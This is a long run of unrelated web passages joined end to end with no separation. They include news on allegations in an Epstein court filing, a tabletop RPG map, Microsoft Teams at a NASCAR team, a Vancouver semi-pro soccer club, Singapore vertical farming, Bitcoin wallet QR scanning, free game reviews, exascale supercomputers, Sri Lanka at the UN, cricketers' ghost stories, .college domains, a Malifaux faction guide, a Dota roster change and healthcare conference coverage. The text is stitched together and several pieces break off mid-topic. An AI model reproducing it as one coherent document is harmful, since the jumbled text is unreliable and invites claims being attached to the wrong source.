According to the motion, Epstein’s clients included “many other powerful men, including numerous prominent American politicians, powerful business executives, foreign presidents, a well-known Prime Minister, and other world leaders.” The alleged victim accuses Epstein of requiring the women he gave to powerful individuals to “describe the events” with them “so that he could potentially blackmail them.”
Through her lawyers, Jane Doe #3 issued the following statement to the Guardian in response to the denials of her alleged abusers: “These types of aggressive attacks on me are exactly the reason why sexual abuse victims typically remain silent and the reason why I did for a long time. That trend should change. I’m not going to be bullied back into silence.”
Then I found Dungeon Crawl Classics and Hanna-Barbera’s Golden Age fits perfectly with the themes and tones from Appendix N. So here’s the map I drew for the campaign, which will begin once my current 5th D&D game ends. Hopefully, Mutant Crawl Classics will be available by then.
Additionally, you may notice that I threw in a bit of Metamorphosis Alpha into the map with a derelict generation ship in outer orbit. This map kind of has everything I could want. One planet, “Urd” on the labeled map, has long been left a wasteland by nuclear war and is honeycombed with underground caverns, tunnels, and vaults–somewhat inspired by Jason Sholtis’s Operation Unfathomable campaign. There’s also a Barsoom/Purple Planet planet, a veiled Pulp-Venus, a rogue planet that froze solid in the gulf between stars and is now caught in orbit around a gas giant. And there’s a planetoid with a foetid and loathsome case of a yeast infection or slime mold.
While Matthew appeared briefly on stage to discuss Microsoft Teams, I had the opportunity to sit down with him following the morning keynote and briefly discuss how Microsoft Teams, and Windows 10, are being used at Hendrick Motorsports.
How is Windows 10 used at Hendrick Motorsports?
To begin, I asked Matthew how Windows 10 is used at Hendrick Motorsports, home to NASCAR Champions such as Jimmie Johnson, Jeff Gordon, and current Sunoco Rookie of the year contender Chase Elliot. Matthew detailed that Windows 10 is a great operating system for the NASCAR team to deploy and standardize across the racing team. He even described the evolution of how Windows technology, touchscreen devices, and the UWP are used at the team.
“Before [Windows 10] we were pretty much Windows 7 Professional, and then you take a look at the other devices in the mobile workplace when we’re actually at the track, we’re really relying on touch screen devices such as Surface and various tablets from Panasonic. Windows 10 allowed us to focus all that into one OS that was always updated. Now [with Windows 10] we can develop one application and push that through the Windows Store for Business. It makes our interfaces a lot smoother, it’s very intuitive, it stays updated, it’s very easy.”
How can Microsoft Teams be used at Hendrick Motorsports?
As we have covered in the past, Microsoft Teams is Microsoft’s new cross-application collaboration software. The software competes with Slack, aims to be the new hub for teamwork, and has access to SharePoint, OneNote, and Skype for Business, and all of Office 365 while in one secure space. Matthew mentioned several of these Microsoft Teams features which are useful to a NASCAR team such as Hendrick Motorsports, and how Microsoft Teams is great for security, privacy, and speed.
“For us the persistent chat functionality is key especially during the actual race event. That way in case there is any disconnection from a race engineer standpoint, they can see once they have reconnected to the network anything that has transpired since they were away. Never again do you miss a piece of information. It’s all encrypted, we’re very confident it’s secure… So now [with Teams] the guys don’t have to have four or five different applications open collection all their data. That rich integration is key, and it allows us to control the environment and make sure it’s secure.”
How does being partners with Microsoft give a competitive advantage over the other teams in NASCAR?
In NASCAR, the sport is constantly changing. With new technologies being used across the sport on pit road for officiating, and inspections, I was curious as to what competitive advantages Microsoft technologies have offered Hendrick Motorsports.
“We look at where the sport is today… The sport has really changed to a data driven sport, and so the competitive edges and really into the future we believe will be on how quickly you can consume data and make the intelligent decisions on that data. Microsoft and the Azure platform has allowed us to escalate very quickly and be very agile with the developments of big data analytics and machine learning.”
Hendrick Motorsports, founded by Rick Hendrick, is based out of Charlotte, North Carolina. Since 1984, Hendrick Motorsports has earned a record 11 car owner championships in NASCAR’s premier division, the Sprint Cup Series. You can learn more about the team by visiting their website.
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“Having coached in the Vancouver and Clark County area for almost 20 years, I have gained a full appreciation for the soccer community here,” says Goddard. “Vancouver is a deep, soccer-rich town with a passion and developed knowledge for the game. There are some wonderful soccer players, coaches and soccer families in Clark County. I am excited to bring semi-pro soccer to the local soccer community to thank them for being so supportive to me and my family through soccer over the years.”
The Venom are in early discussions to play at McKenzie Stadium on the campus of Evergreen High School. The venue was recently upgraded with a new Field Turf playing surface and features two covered stands that can accommodate nearly 6,000 fans. The final “look” of VVFC is still under consideration. Currently the club is planning to wear some combination of Black, Powder Blue and White. A crest will be revealed at a later date.
“I grew up in the Seattle area and always knew MLS would be a huge success there,” says Goddard. “On a smaller scale, semi-pro soccer can be a huge success here in Vancouver. Our group will have an opportunity to create something special here with the Vancouver Venom.”
Goals are already lined up for the border-town club. “Getting the word out and making the team financially viable in the first few years are my two main concerns. It is going to take a local grass-roots effort to develop the proper fan base for this team.”
On the pitch, Goddard has a record of success as a coach and team developer. “Developing a player base that the local soccer community can embrace and support is both a challenge and a great opportunity,” he says of the task ahead. “I have experienced this a few times with club and high school teams I have coached here and they have been some of my greatest soccer experiences. I am excited to get that going with the new team!”
Goddard submitted a detailed operations plan to the league. The EPLWA Club Entrance Committee was impressed with the outline. “Picking the 8th club has been a challenge because so many good applicants went the extra mile to impress us,” says David Falk. “Vancouver’s bid through Goddard was the strongest in terms of business plan, soccer plan and community outreach plan. Having a team on the border with Portland, Oregon also opens up opportunities for players in a very large metro area.”
The Venom join Bellingham United FC, South Sound Shock FC (Tacoma), Wenatchee United FC, Seattle Stars FC (Tukwila), WestSound FC (Silverdale), FC Three Rivers Tri-Cities (Pasco) and the Spokane SC Shadow as the eight members who will kick off the inaugural semi-pro soccer season in the Evergreen Premier League in 2014.
Next up for the new league is continuing internal organization as club personnel, league founders, supporters and volunteers begin to fill the various committees that will run the state-wide competition.
Follow EPLWA news at www.EPLWA.com and www.Facebook.com/EvergreenPremierLeague.
Road Trip
The Venom will have a tour around the state of Washington in 2014. Here’s the mileage from Vancouver to the other EPLWA towns: Bellingham-254, Tacoma-133, Tukwila-156, Silverdale-168, Wenatchee-292, Pasco-221, Spokane-356.
About the EPLWA
The Evergreen Premier League is an elite adult men’s semi-pro soccer league for college and post-college age players to feature their skills on hometown clubs throughout the state of Washington. The league’s mission is to cultivate “football club” culture while providing opportunities for coaches, owners, supporters, players and towns to enjoy the sport and all of the community-building it can bring. The EPLWA will begin season play in May, 2014 and will be affiliated with the Washington Adult Soccer Association, the United States Adult Soccer Association and FIFA.
Singapore may be the most important country in the world for vertical farming right now.
Corporate giant Panasonic’s new project debuted just this week and challenges exactly what the country knows about its food supply.
This is a monster blog post, but there’s a lot of information synthesized here you won’t find anywhere else. I’m going to walk you through why Singapore is important, then I’m going to show you what is happening there with Panasonic and another company called Sky Greens, and then I’m going to explain what that might mean for the evolution of urban vertical farming.
No scholar could come up with a better hypothetical test case for vertical farming than the realities in Singapore. Key conditions indicating the success or even the possibility of an industrial vertical farm include:
Dense and urban population (Singapore is an island a little more than 3 times the size of Washington, DC with a population of 5.6 million people. Their population is 100% urbanized)
Production proximity to market (New, government-sponsored industrial parks allow companies to build their businesses on the island)
Existing infrastructure (Singapore is a developed, high-tech country whose purchasing power parity ranks 41st in the world)
Cheap energy (Energy is reliable and affordable, especially when supplemented with renewable resources)
Legislative Support (Singapore’s government not only has the laudable sustainability goals of 20% self-sufficiency in the coming years, but also established a 20 million dollar fund to boost domestic food production. This helps enormously in the face of insane vertical farming start-up costs.)
Local Demand (Expensive imports from China and Japan currently fill Singapore’s supermarkets. Singapore only produces 7% of the produce it consumes.)
Singapore embodies each of these conditions better than almost anywhere else on the planet and I’d be hard pressed to argue that what works here, in this first battleground, is not going to affect the rest of the vertical farming industry. To see what might be working, let’s first look at the older of the two companies, Sky Greens.
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Unfortunately, even though this would allow us to easily support iOS via an app, because of Apple policies and their history in regards to Bitcoin, it is the case that we can really only support jail broken phones on alternative markets or we can attempt to submit a version of the app to the Apple store with the send functionality removed which would really cripple its utility and it still does not guarantee our app would make it.
Qrcode scanning is almost at the core of Bitcoin payments, especially on the go. While so far we offered support for it on Android we did not provide any support or any other platform which we feel that especially on iOS devices limits the use of the wallet.
With some inspiration from Coinpunk QR support on iOS and the great work from the guys at http://webqr.com/, I’m happy to announce that we now support qrcode scanning on any HTML5 enabled browser via both camera or local file ‘upload’!
Note that this functionality is also available to login into a wallet and that it includes support for all Android devices we have tested, Chrome and Safari on iOS devices 🙂
Broken Sword: The Shadow of the Templars (Director's Cut)
Revolution Software . Grab it from Good Old Games .
All these years later, Broken Sword remains a twee but relentlessly charming point-and-click adventure, telling the story of George Stobbart - an American tourist whose Parisian holiday is cut somewhat short when the cafe at which he's drinking decides to blow up. And a clown flees the scene of the apparent crime. I feel as though more games should start like this.
However, this isn't the start of the Director's Cut, which adds a good half hour of playable content onto the beginning of the game. This - as well as other new sections throughout - focuses on secondary character Nicole Collard, an intrepid French reporter searching for her big break in the journalism game. The new content helps to flesh out her personality, and works well with what was there before - even if the seams are a little obvious at times.
A couple of the puzzles are showing their age now, but nothing is eminently frustrating - and while the twisting, globe-trotting story of the Knights Templar might seem trite in the age of Dan Brown novels, it's worth remembering that Broken Sword told it first. This is still a lovely adventure game, and now that Good Old Games are carrying it for free, you'd be silly not to play it if you haven't already.
Super Cult Tycoon 2: Deluxe Edition
Robert Yang, Eddie Cameron . Grab it via Yang's website .
From the creators of two artful Half-Life 2 mods, Radiator and Tedium , comes something altogether sillier. It's called Super Cult Tycoon 2: Deluxe Edition, and is in fact the first Cult Tycoon game they've made, despite the Super, 2 and Deluxe Edition affixes. In the game you take control of a cult leader, and it begins with you escaping the FBI's claws in a white Transit van. Your ever-obedient daughter suggests, politely, that you might want to turn right and start a new settlement in the forest. So you do. And you begin to recruit.
This means either going into town - a risky business, as the FBI are looking for you - or heading to nearby farms. And, uh, "persuading" people to join you. Which, in actual fact, means kidnapping them. Once you've converted these people you can put them to work brewing Kool Aid, or in a PR firm to bribe investigators, and watch the money steadily tot up. That's the idea, anyway. More likely, the FBI will eventually track you down and break down your defences, causing you to flee. It's delightfully silly, and while it needs polish (and, desperately, a zoom function), this is by no means the finished product, and I can't wait to see it in a more final state.
Black Lodge 2600
Jak Locke . Download it from the game's website .
The 1990s TV drama Twin Peaks, by David Lynch and Mark Frost, remains one of the most baffling, brilliant and relentlessly strange things I've ever seen on the telly, and Black Lodge 2600 - a new free PC game, but one that pretends to be an old Atari title - does a good job of continuing the Twin Peaks trend toward the surreal. Your protagonist, as in the TV series, is FBI Special Agent Dale Cooper, and at the start you'll find yourself in the red-curtained room that many still associate with the show.
What follows, though, is a game in which you must locate the secret exit of a collection of similar rooms without being caught by one of the other characters. Various Twin Peaks types rear their heads, most removing points from your score if they catch you. But bump into your doppelgänger who occasionally appears out of nowhere, and it's game over.
The website suggests that, as with all Atari games, you should read the manual before you begin. You should, otherwise nothing makes any sense. Even with your newly acquired knowledge, the visual motifs and utterly unnerving sound effects make this as downright bonkers as its source material.
The Play
Deirdra Kiai . Play it online .
It's nice that interactive fiction continues in a world of fancy graphics engines: there's something about a good IF game that's really invigorating. Especially when you don't have to wrestle with irritating parsing systems to get the game to understand what you want to do. Enter The Play: a genuinely amusing and heartfelt piece that's delivered through a helpful, hyperlink-based user interface. It affords you the opportunity to shape how the story plays out, based on the decisions you make along the way.
What decisions? Well, your character is the director of a theatre performance. But with just one night to go until the show opens, everything is going wrong. The props have just arrived, and people keep tripping over them. One of the actors has pulled out last-minute, and their replacement is awful. Meanwhile, there's the underlying issue of a sexual harassment case, which isn't overtly explained to begin with, but which seems to be on everyone's minds. How you deal with the situation is up to you - but it might change how the play turns out, and affect your reputation as a director.
It's fun, silly and decently written. If you enjoy a good bit of IF, but aren't exactly thrilled by the prospect of typing random verbs until you get the right one, I'd say give this a shot.
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The “Exascale” supercomputer has the capacity to execute 1,000,000,000,000,000,000 calculations per second! Realistically the machine does not yet exist, but the possibility for a fully functional one will turn apparent in a few months, according to the National Supercomputer of China.
According to the researchers
Zhang Ting from the National Supercomputer Center in China recently gave a statement to Xinhua saying,
“A complete computing system of the exascale supercomputer and its applications can … be expected in 2020, and will be 200 times more powerful than the country’s first petaflop computer Tianhe-1, recognized as the world’s fastest in 2010.”
The latest Sunway TaihuLight, on the other hand, has reached 124.5 petaflops, surpassing the existing Tianhe 1 and 2 (100 petaflops).
When the calculation is close to infinite …
The soon to be revealed Exascale supercomputer will be named “Tianhe-3” that can execute 1 quintillion calculation per second.
FYI, the quintillion unit of measurement is used to calculate the Earth’s mass or the number of molecules existing within the human brain.
Where does the USA stand with respect to China?
The USA is also working on their own Exascale supercomputer, but their perfect prototype will not appear until 2023. The Department of Energy believes its invention can change the whole game in the research industry once it’s fully functioning. Its website stated,
“At 1,000,000,000,000,000,000 calculations per second, exascale supercomputers will be able to quickly analyze massive volumes of data and more realistically simulate the complex processes and relationships behind many of the fundamental forces of the Universe.”
The stakes will get higher for the USA if China releases its “Exascale” first. With two of its already existing supercomputers, the former nation must gear up for survival.
Image Source: Huffington Post
It is the responsibility of all democratic countries to reject terrorism. But unfortunately in certain country pro terrorists activities are being allow to prevail Minister Mahinda Samarasinghe It also highlights the disappearance of rights activist Pattani Rafeek, who is missing since February 2010. The Hong Kong based Asian Legal Resource Centre (ALRC) accuses the Sri Lankan government of failing to cooperate with the UNHRC and eradicate torture despite repeated pledges. It urges the council to adopt measures to strengthen local human rights protection bodies and mechanisms. Addressing the opening session of the UNHRC, Plantation Industries Minister Mahinda Samarasinghe has said that the Sri Lankan government is dedicated to restore the human rights that was “denied to the people by the Tiger terrorists.” “It is the responsibility of all democratic countries to reject terrorism. But unfortunately in certain country pro terrorists activities are being allow to prevail,” the minister was quoted by the state-run SLBC. International investigation The Amnesty International (AI) in its submission says the government has refused to acknowledge credible allegations of war crimes and other violations of international law despite mounting evidence. A UN-led independent international investigation into alleged crimes under international law is an essential step to ensuring justice for Sri Lankan victims and their families
Kevin Pietersen obviously read the below story, given the tweet he posted after England capitulated to lose the second Test against India at Lord’s.
Don't blame me...blame the ghosts! — Kevin Pietersen (@KP24) July 21, 2014
Haha England and ghosts now that's funny, I think @BrettLee_58 has a similar story about being in England and ghosts, Lumley castle!! — David Warner (@davidwarner31) July 21, 2014
Full scorecard: View here
Earlier
England cricketers have reportedly been kept awake at night, not by their on-field performances which have seen them go nine Tests without a win, but apparently unearthly apparitions and poltergeists haunting their five-star central London hotel.
Fast bowler Stuart Broad said paranormal activity in his room at the Langham Hotel had "really freaked me out" and he had asked to change rooms.
"During the Sri Lanka Test I had to move rooms," Broad told UK tabloid Daily Mail.
"It was so hot in the room I just couldn’t sleep. All of a sudden the taps in the bathroom came on for no reason.
"I turned the lights on and the taps turned themselves off. Then when I turned the lights off again the taps came on. It was very weird.
"It really freaked me out. I ended up asking to move rooms. Bealey (Broad’s girlfriend) was pretty spooked, too, and I know Moeen Ali’s other half won’t stay there because she’s so frightened of the ghosts.
"Ben Stokes has had some problems sleeping as well. He’s on the third floor, which is where a lot of the issues are. I’m telling you, something weird is going on."
Broad said he ended up spending the night with team-mate Matt Prior in the wicketkeeper's twin room after being "convinced there was a presence in the room".
The fast bowler said he had encountered no problems during the team's stay at the Langham during the current Test at Lord's, but something strange was in the neighbourhood during last month's visit from Sri Lanka.
"One night I woke up in the middle of the night, around 1.30am and I was convinced there was a presence in the room," said Broad. "It was the weirdest feeling."
"I turned the light on and looked online and could see Matt Prior was online, too. I went to his room and he said exactly the same thing. He was wide awake as well. Neither of us could sleep because we were so spooked out.
"Matt was in a twin room so I ended up sharing with him. I don’t know if it’s because we’re talking about it more that we sensing more is going on but it’s weird.
"It’s definitely caused a few sleepless nights."
The Daily Mail article made no mention of how England captain Alastair Cook has been sleeping, but without an international century in 26 innings, a 14-month span where he is averaging just 23.67, it cannot be well.
Quick Single: India dig in to build Lord's lead
The Langham Hotel promotes tales of unearthly visitors on its website.
Broad is already a fan favourite in Australia after standing his ground following a nick to first slip in last year's Ashes opener at Trent Bridge and this will surely give England's opposition fans plenty of material to shout from the grandstands.
England's ghostly encounter revives memories of Australia allrounder Shane Watson's experience at Durham's Lumley Castle in 2005, when he spent part of a night sleeping in Brett Lee's room after having his sleep disturbed.
Watson, so the legend goes, saw the ghost of Lily Lumley in the 700-year-old castle where the Australian team stayed on that Ashes tour. Unsettled, he asked for his room to be changed and spent some time in Lee's room before alternative accommodation could be arranged.
Watson later insisted it was all a product of his overactive imagination after hearing the tale of how Lily had been tortured and thrown down a well by priests after refusing to convert to Catholicism.
On Tuesday colleges with registered trademarks were given first dibs at .college domains. Trademark holders are eligible to register and obtain domains that exactly match their trademarks — at no charge — until April 17. Another registration phase begins on April 20.
When new domain types were first discussed, there was “some discussion, some excitement, and some hand wringing” about what they might mean for colleges, said Gregory A. Jackson, who was formerly vice president for policy at Educause, an academic-technology organization, and chief information officer at the University of Chicago.
Some people in higher ed took the “who cares” approach, either because they didn’t think anyone looked at web addresses or because it would be impossible to keep up with all of them, Mr. Jackson said.
Others considered claiming as many domains as they could. There are a number of reasons that acquiring additional domains might be useful.
For colleges that didn’t obtain the ideal domain under .edu, it’s a second chance. Mr. Jackson gave as an example the University of Chicago, which has uchicago.edu rather than chicago.edu.
Others will claim additional domains to protect themselves. In fact, most institutions are likely to acquire them as an act of defense, Mr. Jackson said. Better to scoop up a handful of domains, perhaps distributing them to student groups, than to risk having some other organization or person grab the name and use it in a way that could be misleading or embarrassing.
And .college isn’t the only domain they now must worry about. Mr. Jackson said there’s also a lot of discussion about .sucks, a domain any institution really wouldn’t want to lose track of, given its potential to paint a college in a negative light.
Many institutions will claim the obvious domains, Mr. Jackson said, but there are endless possibilities. The question is, he said, do you claim every single domain you can think of, or “just throw up your hands and say, at some point, this becomes too confusing”?
So with that out of the way, lets get underway with the Ressers.
What is the faction known for?
Summoning undead and spirit models Great attrition faction due to tough models and summoning
What weaknesses are often found in crews?
Slower crews overall Heavier than normal reliance on soulstones and crows Since most of crew is spirits or undead, it’s safer to try to counter them in your crew list
What common models should you watch out for?
Rotten Belle; A model that is quite tough for its cost with a 18” Ca 7 lure Nurse; Utility model that can apply several conditions that range from paralyzing a model and healing it to full, to speeding up a model, but preventing it from doing attack actions The Hanged; attack against WP that deals half your total wounds in damage, is terrifying, and turns off immunity to terrifying duels when near it Punk Zombies; common summon with a pair of strong attacks Carrion Emissary; summons shard walls that block LOS and movement and create a Mindless Zombie (walking corpse marker) when they are removed Bete Noir; She can not only start the game buried and appear when a model is killed, but she can rebury instead of dying . She also has several nasty triggers on her attack including paralyzing living models. My Little Helper (upgrade); when used it prevents opponents from targeting the model unless they are within 3” and they may take two (0) actions which can be the same.
KIRAI
What does Kirai do?
If a living or undead model near her suffers damage, she can summon her enforcer Ikiryo next to the attacker (regardless of distance so long as Kiria has LOS to Ikiryo) Summons spirit minions “off of” her friendly models, which damages both Can flip-flop position of nearby spirit with that of a further away one Can heal nearby spirits and gains ability to (0) teleport next to friendly spirits (upgrade). Summoned models don’t gain slow and her Ca attack gains a built in trigger to increase its damage by +1 with a min of 3 (upgrade) Ca attack can either summon a Gaki if it kills the target or apply the Adversary condition which gives spirits (+) to attack the target Can create an aura which gives her spirits (+) to damage flips (upgrade) Can take damage when Nearby Seishin are killed to prevent them from dying. Additionally when a non-Seishin models die near her she can “replace” them with a Seishin (upgrade)
Difficulty to kill Kirai: Hard
Manipulative ability Can redirect attack results against her to nearby spirits with a trigger
Other things to watch for are….
Ikiryo; she can only be summoned in when enemies attack friendly models in the Malevolence aura. When she does appear, she often uses her strong Ml attack once then sacrifices herself so she can appear/attack again. Lost Love; is another model with the Malevolence aura which can summon Ikiryo Datsu Ba; her henchman who can summon <Seishen, Gaki, Onryo>, ignores armor on attacks, prevents models from walking, and places scheme markers next to spirits killed near her. Seishin; summon only peons that can sacrifice themselves to either heal other models or make friendly models immune to pulse and blast damage.
MCMOURNING
What does McMourning do?
Attacks stacks poison on enemies Models near him that die to poison are turned into Canine Remains (upgrade) Expunge Ca attack deals damage to target equal to its poison condition (max 9) then removes it. Additionally (with upgrade), models kill this way are turned into a Flesh Construct. When he suffers damage from poison he can push 5” (upgrade) When another model with poison activates near him, they immediately “tick” for poison damage Attacks ignore Armor and Hard to Wound Tactical (0) can push friendly its Wk and have it drop a scheme marker Scheme markers near him at end of the game become friendly to him. He also can take his Ml attack as a (0) with a 6” range (upgrade).
Difficulty to kill McMourning: Moderate
Heals himself when dealing Ml damage Hard to Wound ability with high wound total
Other things to watch for are….
Sebastian; has an aura that causes poison to “tick” for 3 damage instead of just 1 and he also makes models “tick” for poison when activating near him. Rafkin; can (1) charge poisoned models and poisoned models near him take additional damage from attack actions Zombie Chihuahua; gives out poison in a pulse when it ends its activation (unavoidable) and can do Expunge attack as well.
MOLLY
What does Molly do?
Summons Belle minions which come in with Wd based on the number of enemies near its summon location, then those same enemies pass a duel or take damage. Additionally, her limited upgrades allows her to also summon either Horror or Spirit minions which gain black blood. She has Black Blood which deals damage to nearby models when the model with it takes damage Has once per turn attack that gives target (-) on all duels for the turn Ca attack that can slow and paralyze the target Instinctual ability lets her take two different (0) actions (upgrade) Tactical (0) can reactivate a minion Tactical (0) to obey a Belle/Spirit/Horror based on limited upgrade
Difficulty to kill Molly: Moderate
Discards two cards to reduce any attack to 1 damage on a trigger Impossible to Wound ability Terrifying (All) ability (upgrade)
Other things to watch for are….
Drowned; she can summon these models near nothing else so they instantly die and drop a scheme marker with finish the job. Madam Sybelle; can (0) place Molly next to her since Molly is a Belle Killjoy; can “pop” him out very easily by summon a model that instantly dies
NICODEM
What does Nicodem do?
Summons undead minions off of corpse markers Friendly undead near him are immune to slow Friendly undead near him gain (+) to Ml and Df Additionally with an upgrade, he gains an action that also gives (+) to Ca actions and damage flips for undead models. Ca attack that slows enemy targets or gives friendly undead targets fast Ca attack that deals low damage to enemies or heals friendly undead targets Draws cards when undead near him are killed or sacrificed (upgrade) Friendly models heal from poison instead of take damage (upgrade)
Difficulty to kill Nicodem: Hard
Impossible to Wound ability Tactical (0) to heal damage by discarding corpse markers (also draws cards) Df trigger lets him sacrifice a nearby undead model to reduce damage to 0 (upgrade)
Other things to watch for are….
Vulture; can move corpse markers into better positions for summoning.
REVA
What does Reva do?
Close Ca attack that can target either Df or Wp and deals high damage. Additionally with an upgrade this damage can’t be reduced. Ca attacks can draw LoS and measure range from corpse markers within 18” and LoS of her (engaging her stops this unless she takes specific upgrade). Gains trigger on main attack to deal no damage and instead take a charge against another target (upgrade) (0) tactical that lets her teleport to corpse markers Tactical that lets her replace a corpse marker with a scheme marker Can summon totem when she activates (0) tactical that lets her push friendly model and let it take a (0) if it’s a reverent/spirit (upgrade)
Difficulty to kill Reva: Moderate
Gains regeneration ability (upgrade) Heals damage when models near her die Range and speed make her hard to pin down
Other things to watch for are….
Decaying Aura; makes Reva’s attacks unpreventable by soulstones even at 18” range Yin; her (0) attack puts target a (-) on Wp duels which Reva can exploit Corpse Bloat (upgrade); model can “explode” corpse markers for high pulse damage
SEAMUS
What does Seamus do?
Can do long range teleport if no enemies have LoS to him (or if he has a specific upgrade he can discard a corpse marker to do it regardless of LOS) Once per turn Sh attack with very high damage Ml attack with many good trigger such as making target insignificant, insta-killing target, and dropping schemes next to target (upgrade) Summons Belle minions off of corpse markers with a (0) action Debuffs the Wp of Enemies near him and gains a ranged Ca attack (upgrade)
Difficulty to kill Seamus: Hard
Terrifying ability and heals when models fail Wp duels near him Hard to Kill and Impossible to Wound abilities Ca attack heals him equal to the damage dealt by it (upgrade) Gains a hat which he can remove (discard upgrade) to reduce damage to 0 from once source and has potential to pick up the hat (reattach upgrade) by picking it back up (interacting with marker it makes)
Other things to watch for are….
Copycat Killer; his totem can (0) place next to Seamus over long distance, has a high damage Sh attack, and has insta-kill trigger on his Ml attack
TARA
What does Tara do?
Reactivates herself if she is the first and last model to activate in her crew Ca attack gives fast or slow to target and can bury the target (upgrade) Unburies friendly/enemy models next to her and lets them chain activate after her; she controls the enemies activation when unburying them in this way (upgrade) Prevents damage to void models by discarding cards (upgrade) Copies actions from buried models (upgrade) Discards cards to pulse out fast to all nearby models, but must affect one enemy Can put up chatty aura which denies nearby enemy models from interacting Can teleport to anywhere in her deployment zone (upgrade)
Difficulty to kill Tara: Easy
Trigger against Sh attacks to reduce damage to 0 Very high Df and Wp vs Ca attacks
Other things to watch for are….
“Beast Bomb” Tactic; This looks: Friendly beater is buried (or starts buried if Killjoy), Tara move up board and reactivates herself, upon Tara 2nd activation she unburies the beater to chain activate it, and beater charges into enemy crew early in game Nothing Beast (Errata); Very tough model that is often the “beast bomb” target Scion of The Void; Can bury when targeted by attacks, other models can use her action while buried, and unburies when a friendly takes her (0) action Death Marshals; Tara can hire them to help her bury models (usually friendly ones which Tara unburies) Void Wretch; cheap scheme runners that are durable (for cost), can heal buried models, and deal decent damage (for cost) Karina; Tara’s enforcer totem that can summon undead models
YAN LO
What does Yan Lo do?
Can place next to an enemy model, then place that enemy next to a nearby model in Yan’s crew Stacks chi condition which adds +1 to his Ca actions per Chi (max +3) Gains special Ascendant upgrades by using a (0) and lowering his chi Gains (2) tactical which allows 3 nearby spirits to take (1) actions (Ascendant) Can summon back ancestor models that were killed in the game (upgrade) Can heal friendly models with a (0) action Gives armor to a number of friendly models near him equal to chi removed Gains Ml attack with min damage 3 (upgrade) and can do a (2) action to teleport and make Ml attacks with (+) to attack and damage to all models in range (Ascendant)
Difficulty to kill Yan Lo: Hard
Df/Wp trigger that increases duel by his chi to a max of +3 (upgrade) Impossible to wound ability (Ascendant) Incorporeal ability (Ascendant)
Other things to watch for are….
Goryo; summons seishin for activation control and gives Yan Lo cheap models to kill to build up his Chi quickly Carrion Emissary; it becomes an ancestor which can be re-summoned when killed and gains fast when a friendly model attaches an upgrade
So hopefully this will gives you the knowledge you need to know in order to avoid falling into some of the traps these masters can set for you. The link for the printable pdf is here.
As with most my articles, I’ll occasionally update the article from time to time with additional information as I see fit and you’ll know based on the article date in the title. Also, if you feel something is missing from the list, state your case and I’ll consider adding it.
Thanks for reading and I hope you enjoyed the article. Also if you really enjoy my work, check out the S&S podcast here and my new Patreon site here.
Most of the players' names are close enough to their regular handles to see who is who, but for the more creative nicknames, the FACEIT profiles are linked to steam profiles. "Lorne-malvo" is Sam "BulBa" Sosale, and "peanutpie" is Johan "pieliedie" Åström. Theeban "1437" Siva is the team's coach, and Matthew "Cyborgmatt" Bailey is Secret's Manager.
FACEIT's platform does not distinguish between main roster and substitute/coach/manager.
Team Secret's last place finish at The Manila Major inspired some roster moves, as Saahil "Universe" Arora moved back to Evil Geniuses as offlaner BulBa joined Secret. The changes make Team Secret ineligible for a direct invite to The International 6 or the regional qualifiers, so the team will be forced to play through open qualifiers for a chance at competing in Seattle.
Aui_2000 had been a part of Evil Geniuses since the pre-Manila Major roster shuffle, but when Universe returned to EG, Ludwig "zai" Wåhlberg also came back and joined the team after a year-long hiatus.
The shuffle left the TI5 champion without a roster for TI6, but as a part Team Secret he now has a chance to attend, although his official role on the team has not been disclosed.
It’s easy to say “healthcare is broken” and call it a day, but a quote from brilliant thinker Maria Popova reminds us of the power of optimism to create change:
“Pessimists can tell you what’s wrong with the world, but it’s the optimists who set out to change it.”
There’s still considerable work to be done to create more effective healthcare systems in the US and worldwide. That said, at the conference we learned about incredible progress we can both celebrate and focus on moving forward.
For a look inside the conference, you can watch:
THE BIG PICTURE
Healthcare as we’ve known it for decades is evolving. New AI systems are helping medical practitioners make sense of complex patient histories and sorting through big data to help doctors make better diagnoses. Advances in robotics and synthetic biology are transforming precision medicine and minimally invasive surgery.
But we’re still left with big questions like, “How do we use these technologies to bring quality care to all populations around the globe?” and, “What are the ethics of having AI make choices that impact human lives?”
There’s also a flip side to new healthcare technologies. All things digital are vulnerable to cybercrime, and hospitals are facing large-scale security breaches in medical data. Improved cybersecurity will be critical as we gather more data.
Below, we’ve collected Singularity Hub’s coverage of the conference. These articles explore developments in technologies advancing healthcare and medicine and also probe into some of the big unanswered questions within the field.
HEALTHCARE 2.0
“It’s a Powerful Time to Reshape Healthcare Across the Planet”
“Daniel Kraft described how we are now seeing innovations in healthcare that used to only exist in science fiction plots—like when Dr. Beverly Crusher in Star Trek would find a brain tumor before it was too late. The real life version has doctors 3D printing visuals of tumors to better understand the tumor.” –Alison E. Berman
Taking the Pulse of Medtech With the Exponential Medicine MEDy Awards
“At this year’s MEDy Awards, startups focused on preventative care via wearables, apps, and data sets. The common thread: rather than treating disease only after it has advanced to the point of being discoverable, let’s create systems to prevent disease in the first place.” –Matthew Straub
ARTIFICIAL INTELLIGENCE
We’ll Soon Trust AI More Than Doctors to Diagnose Disease
“Humans aren’t set up to handle the vast and ever-growing chunks of health data the latest technologies are generating. From proliferating health sensors to whole genome sequencing, our world will soon be awash in more health data points than stars in the universe.” –Jason Dorrier
The Future of Surgery Is Robotic, Data-Driven, and Artificially Intelligent
“In the years since da Vinci first came out, many other surgical robots have arrived. And today there’s a new generation coming online, like the Verb robot, a joint venture between Google and Johnson and Johnson. This means surgery is about to get even more interesting.” –Sveta McShane
Bridging the Mental Healthcare Gap With Artificial Intelligence
“What if artificial intelligence could bring quality and affordable mental health support to anyone with an internet connection? This is X2AI’s mission, a startup that’s built Tess AI to provide quality mental healthcare to anyone, regardless of income or location. X2AI calls Tess a ‘psychological AI.’ ” –Alison E. Berman
Read more about AI here.
ROBOTICS
Robotic Tissue-Slicing Microscopes and DIY Crowd Science to Accelerate Research
“During a session on disrupting clinical practice at Exponential Medicine conference we got a look into how cloud computing, robotics, artificial intelligence, and advanced imaging technology are transforming the practices of pathology and non-invasive heart imaging and enabling crowd-sourced medical research. Here’s a look at three interesting companies we heard from.” –Alison E. Berman
Read more about robotics here.
LONGEVITY
How Humans Can Live 100 Healthy Years
“If there was ever an industry in need of a paradigm change, it’s healthcare. The World Health Organization estimated total spending on global health in 2012 was $6.5 trillion. And that cost will increase unless pioneers develop new technologies and frameworks that focus on preventative medicine.” –David J. Hill
Read more about longevity here.
SYNTHETIC BIOLOGY
Writing the First Human Genome by 2026 Is Synthetic Biology’s Grand Challenge
